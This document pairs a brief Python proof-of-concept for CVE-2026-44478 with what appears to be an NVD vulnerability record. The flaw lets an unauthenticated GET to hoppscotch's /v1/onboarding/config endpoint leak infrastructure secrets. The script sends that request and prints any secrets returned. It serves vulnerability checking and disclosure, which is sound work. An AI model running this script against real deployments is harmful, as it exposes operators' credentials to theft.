CVE-2026-44478

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-44478 Checks if the /v1/onboarding/config endpoint leaks secrets. """ endpoint = f"{target_url.rstrip('/')}/v1/onboarding/config" try: # Send unauthenticated GET request response = requests.get(endpoint, timeout=10) if response.status_code == 200: # Check if response looks like a config with secrets data = response.json() if data: # Assuming non-empty JSON response indicates leakage print("[!] Vulnerability confirmed! Sensitive data leaked:") print(response.text) return True else: print(f"[-] Target not vulnerable or patched. Status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") return False if __name__ == "__main__": target = "http://localhost:3000" # Replace with actual target check_vulnerability(target)

{"cve": {"id": "CVE-2026-44478", "sourceIdentifier": "[email protected]", "published": "2026-05-13T22:16:46.207", "lastModified": "2026-05-14T16:49:18.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "hoppscotch is an open source API development ecosystem. The fix for CVE-2026-28215 in version 2026.2.0 addresses the unauthenticated POST /v1/onboarding/config endpoint by checking onboardingCompleted and canReRunOnboarding before allowing config overwrites. However, GET /v1/onboarding/config still leaks all infrastructure secrets in plaintext to unauthenticated users when the ONBOARDING_RECOVERY_TOKEN stored in the database is an empty string. This vulnerability is fixed in 2026.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://github.com/hoppscotch/hoppscotch/security/advisories/GHSA-7c8p-hj4p-3q3f", "source": "[email protected]"}]}}